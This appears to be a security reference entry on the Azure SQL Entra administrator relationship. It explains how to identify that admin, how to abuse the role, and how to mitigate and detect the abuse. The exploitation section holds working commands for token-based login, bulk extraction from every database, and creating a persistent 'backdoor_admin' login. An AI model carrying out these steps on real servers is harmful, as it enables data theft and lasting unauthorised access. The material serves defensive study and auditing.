AZ_SQL_ADMIN

Summary

Forestall ACL Alias	AZ_SQL_ADMIN
Azure Alias	Microsoft Entra Admin (Azure SQL Server)
Affected Object Types	User, Group, Service Principal -> Azure SQL Server
Exploitation Certainty	Certain
Severity	Critical

Description

AZ_SQL_ADMIN is the relationship where a Microsoft Entra principal (user, group, or service principal) is set as the Microsoft Entra administrator of an Azure SQL logical server.

The Entra admin is the highest-privileged principal on the server, with full control over every database (including master):

• Read and modify all data in every database on the server.

• Create, alter, and drop users, logins, and roles.

• Execute arbitrary T-SQL.

• Manage database-level security (permissions, row-level security, dynamic data masking).

• Use the server's managed identity — if one is assigned — to pivot to other Azure resources (see AZ_ASSIGNED_MANAGED_IDENTITY).

It is critical because it bypasses all database-level access controls. If the admin is a group, every member inherits these rights; if it is a service principal, its credentials grant the same access.

Note: On Azure SQL Managed Instance the classic on-prem model applies (sysadmin role, USE, cross-database queries). On Azure SQL Database there is no sysadmin role and each connection is bound to a single database — the differences matter in Exploitation.

Identification

PowerShell (Az Module)

Connect-AzAccount

# List the Microsoft Entra admin for every SQL Server (-ExpandActiveDirectoryAdministrator populates .Administrators)
Get-AzSqlServer -ExpandActiveDirectoryAdministrator | ForEach-Object {
    [PSCustomObject]@{
        ServerName        = $_.ServerName
        ResourceGroup     = $_.ResourceGroupName
        Login             = $_.Administrators.Login
        PrincipalType     = $_.Administrators.PrincipalType         # User / Group / Application
        AdministratorType = $_.Administrators.AdministratorType
        EntraOnlyAuth     = $_.Administrators.AzureADOnlyAuthentication   # false => SQL-auth backdoor login is possible
    }
} | Where-Object { $_.Login } | Format-Table -AutoSize

Azure Portal

1. Open Azure Portal -> the target SQL server.

2. Under Settings, select Microsoft Entra ID.

3. The current Entra admin is shown with its Object ID and type. If it is a group, review its membership — every member is a SQL admin.

Exploitation

You need the credentials of the admin principal (a user, a service principal, or any member of the admin group) and network reachability to the server.

Connect as the Entra admin

Sign in to Azure as the admin principal, get an Azure SQL access token, and pass it to Invoke-Sqlcmd with -AccessToken:

Import-Module SqlServer
$server = "<ServerName>.database.windows.net"

# User (interactive / device-code):
Connect-AzAccount

# One token is valid for every database on the logical server
$token = (Get-AzAccessToken -ResourceUrl "https://database.windows.net/" -AsSecureString).Token

Invoke-Sqlcmd -ServerInstance $server -Database "master" -AccessToken $token -Query "SELECT name, state_desc FROM sys.databases;"

Authenticate as the Entra admin with an access token and list databases

Enumerate and extract data

On Azure SQL Database each connection is bound to one database (USE and cross-database queries don't work). List the databases from master, then connect to each one to read its data:

# Reuses $token from the connect step above
$dbs = Invoke-Sqlcmd -ServerInstance $server -Database "master" -AccessToken $token `
    -Query "SELECT name FROM sys.databases WHERE database_id > 4;"

foreach ($db in $dbs.name) {
    Write-Host "=== $db ==="
    Invoke-Sqlcmd -ServerInstance $server -Database $db -AccessToken $token `
        -Query "SELECT TOP 100 * FROM [dbo].[SensitiveTable];"
}

Enumerate user databases on the logical server

Create a backdoor login

A SQL login keeps working even after your Entra admin rights are removed — as long as SQL authentication is still enabled (azureADOnlyAuthentication == false).

-- 1. In master: create the login and give it server admin
CREATE LOGIN [backdoor_admin] WITH PASSWORD = '<StrongPassword>';
CREATE USER  [backdoor_admin] FOR LOGIN [backdoor_admin];
ALTER ROLE dbmanager    ADD MEMBER [backdoor_admin];   -- create/drop databases
ALTER ROLE loginmanager ADD MEMBER [backdoor_admin];   -- manage logins

-- 2. In each target database: give it full control of the data
CREATE USER [backdoor_admin] FOR LOGIN [backdoor_admin];
ALTER ROLE db_owner ADD MEMBER [backdoor_admin];

Azure SQL Managed Instance is simpler — one step: CREATE LOGIN ... WITH PASSWORD; then ALTER SERVER ROLE sysadmin ADD MEMBER [backdoor_admin];.

Abuse the server's managed identity

If the server has a managed identity assigned (see AZ_ASSIGNED_MANAGED_IDENTITY), the admin can obtain its token and pivot to whatever Azure resources that identity's RBAC allows. The token is the server's identity, not the admin's, so enumerate its role assignments to scope the pivot. See Azure SQL Managed Identity Token Extraction.

Mitigation

1. Assign a security group, not individual users, and control membership with access reviews.

2. Use PIM for the admin group — eligible membership, MFA, and justification on activation, instead of standing assignments.

3. Avoid service principals as the admin. If required, use certificate-based auth and restrict who can add secrets.

4. Enable Microsoft Entra-only authentication (Portal -> SQL server -> Microsoft Entra ID -> Support only Microsoft Entra authentication) to block SQL backdoor logins.

5. Enable Azure SQL Auditing to a Log Analytics workspace or Storage account.

6. Restrict the network path with private endpoints and firewall rules.

Detection

The abuse of a standing SQL admin — reading data, creating backdoor logins, altering roles, executing T-SQL — is data-plane activity that the Azure Activity log does not record. It surfaces in Azure SQL Auditing, so that is the primary source.

1. Azure SQL Auditing (Portal -> SQL server/database -> Auditing; must be enabled and sent to Log Analytics/Storage). Review audited events for:

   • Sign-ins by the Entra admin principal, and connections from unexpected IPs or at unusual times.

   • Security changes — CREATE LOGIN, CREATE USER, ALTER ROLE ... ADD MEMBER (backdoor persistence).

   • Large or unusual SELECT activity against sensitive tables (bulk data reads).

2. Microsoft Entra sign-in logs (Portal -> Microsoft Entra ID -> Sign-in logs). Filter for the admin principal and review IP address, Location, and Status for unexpected sign-ins.

3. Azure Activity log (Portal -> SQL server -> Activity log). This only shows the control-plane act of setting the admin — filter for Microsoft.Sql/servers/administrators/write to catch an unexpected principal being made admin. It reveals who became admin, not what they do afterward.

References

• https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-configure

• https://learn.microsoft.com/en-us/azure/azure-sql/database/authentication-aad-overview

• https://learn.microsoft.com/en-us/azure/azure-sql/database/logins-create-manage

• https://learn.microsoft.com/en-us/azure/azure-sql/database/auditing-overview